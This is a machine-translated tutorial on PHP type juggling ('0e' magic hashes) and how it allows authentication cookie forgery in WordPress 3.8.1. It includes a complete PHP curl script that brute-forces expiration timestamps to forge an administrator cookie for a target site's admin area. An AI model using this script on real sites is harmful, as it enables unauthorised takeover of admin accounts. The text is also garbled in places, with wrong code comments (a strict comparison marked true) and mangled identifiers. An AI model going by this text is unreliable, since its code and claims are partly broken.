Weak PHP types: WordPress Cookie forgery and wordpresscookie
1 weak PHP type
PHP is a weak type language, so variables are automatically converted based on different use cases. = And! in PHP! = When equality is determined, the type conversion is automatically performed, with ===and! = The type is not automatically converted during the determination.
1 <?php2 $a = 3;3 $b = '3vic';4 var_dump($a == $b);//true5 var_dump($a != $b);//false6 var_dump($a === $b);//true7 var_dump($a !== $b);//false8 ?>
Note: in PHP, when a string is converted to an integer type, if it starts with a number, it is converted to the preceding number ('3vic '-> 3). If it is not the beginning of a number, then it is converted to 0 ('vic '-> 0)
2 WordPress code
- Differences between WordPress 3.8.1 and WordPress 3.8.2
1 <?php2 // WordPress 3.8.13 if ($hmac != $hash) {}4 // WordPress 3.8.25 if ( hash_hmac('md5', $hmac, $key) !== hash_hmac('md5', $hash, $key) ) {}6 ?>
The client backend only verifies one of the cookies, as shown below:
wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnly
Cookie namewordpress_bbfa5b726c6b7a9cf3cda9370be3ee91
Format:wordpress_
+ Md5 (siteurl
) Wheresiteurl
Is the WordPress URL, where the website address ishttp://www.test.ichunqiu,
After md5 encryptionc47f4a97d0321c1980bb76fc00d1e78f
, Other parts can also be saved.
Type username expiration time logon successful server-side hash value assigned to the client
Corresponding variable |
$ Username |
$ Expiration |
$ Hmac |
Cookies |
Admin |
1433403595 |
Cf50f3b50eed94dd0fdc3d3ea2c7bbb |
Code wp-nodes des/pluggable. php line 543-modules
1 <?php2 $key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);3 $hash = hash_hmac('md5', $username . '|' . $expiration, $key);4 if ( $hmac != $hash ) {5 do_action('auth_cookie_bad_hash', $cookie_elements);6 return false;7 }
In the variables used by the code, the $ username and $ expiration validity period can be controlled by changing the client Cookie method. Because the user name is fixed, only$expiration
Is controllable, so we can change$expiration
Method To Change$hash
.
- WordPress analysis based on PHP Hash comparison Defects
There are several possible causes$hmac == $hash
True: the string is completely equal or$hmac
Equal to 0 at the same time$hash
Is a string starting with a character.$hmac
Change the value to 0, and thenif ( $hmac != $hash ) {
Write the above rowvar_dump($hmac);die();
Printed$hmac
The result isstring '0'
Insteadint 0
Is there any way to recognize a string as an integer? The Code is as follows:
1 <?php2 var_dump('0' == '0e156464513131');//true
The0e156464513131
It is identified as 0 multiplied by the 10 power of 156464513131, or 0. Therefore, when$hash
When all numbers start with 0 e$hmac
When the value is '0', so we can set the Cookie of the client as similarwordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0
Then, update the expiration time (currently at the 1433403595 position) to collide with the server.$hash
The value starts with 0e and is followed by a number. If the collision succeeds, you can modify the Cookie of the browser and directly access the background address to log on to the background.
3 test script
By changing the value of the client Cookie expiration time, we constantly try to log on to the background and find the timestamp that can enter the background, so as to counterfeit the Cookie and log on to the background.
1 <? Php 2/* 3 4 this script is used for WordPress 3.8.1 cookie Forgery Vulnerability Detection 5 incoming two values 6 WordPress home page $ host 7 administrator username $ root 8 */9 header ("Content-type: text/html; charset = UTF-8 "); 10 11 $ host = 'HTTP: // xxx. xxx. xxx '; // the home address does not end with'/'12 $ root = 'user'; // administrator username 13 14 $ url = $ host. '/wp-admin/'; // The background management address 15 $ sitehash = md5 ($ host); 16 17 echo "\ nWelcome \ n "; 18 // use the timestamp to brute-force crack cookies to forge cookie19 for ($ I = 1500000000; $ I <1600000000; $ I ++) {20 $ cookie =" Wordpress _". $ sitehash. "= ". $ root. "| ". $ I. "| 0;"; // composite cookie21 $ header = array (22 "Content-Type: application/x-www-form-urlencoded", 23 'user-Agent: mozilla/4.0 (compatible; MSIE. 0; Windows NT 6.1; Trident/4.0; SLCC2;) ', 24 "Cookie :". $ cookie, 25); 26 27 $ curl = curl_init (); // start a CURL session 28 curl_setopt ($ curl, CURLOPT_URL, $ url ); // The address to be accessed 29 curl_setopt ($ curl, CURLOPT_FOLLOWLOCATION, 1); // use automatic redirect to 30 cur Rochelle setopt ($ curl, CURLOPT_AUTOREFERER, 1); // automatically sets Referer 31 curl_setopt ($ curl, CURLOPT_HTTPGET, true); // sends a regular Post request 32 curl_setopt ($ curl, CURLOPT_HTTPHEADER, $ header); // read the Cookie information stored above 33 curl_setopt ($ curl, CURLOPT_RETURNTRANSFER, 1 ); // The obtained information is returned as a file stream 34 curl_setopt ($ curl, CURLOPT_HEADER, false); 35 curl_setopt ($ curl, CURLOPT_HEADER, 0); 36 curl_setopt ($ curl, CURLOPT_HTTP_VERSION, CURL_HTTP _ Version_00000); // enables curl to automatically select version 37 $ tmpInfo = curl_exec ($ curl); // execute operation 38 if (curl_errno ($ curl) {39 echo 'errno '. curl_error ($ curl); 40} 41 curl_close ($ curl); // close CURL session 42 43 // match result 44 if (strstr ($ tmpInfo, 'We have prepared several links for you to start') {45 echo "\ n ". 'Success :'. $ cookie. "\ n"; 46 break; 47} else {48 echo 'fail :'. $ cookie. "\ n"; 49} 50 51} 52?>
Note: theoretically, the 32-bit MD5 value starts with 0e and is about one thousandth of the value. The probability of collision to $ expiration is very low.
5. Solution
The hash comparison function used in PHP, where = ,! = Change to = and! = Or use MD5 to encrypt the two variables.
Study Notes: http://ichunqiu.com/course/167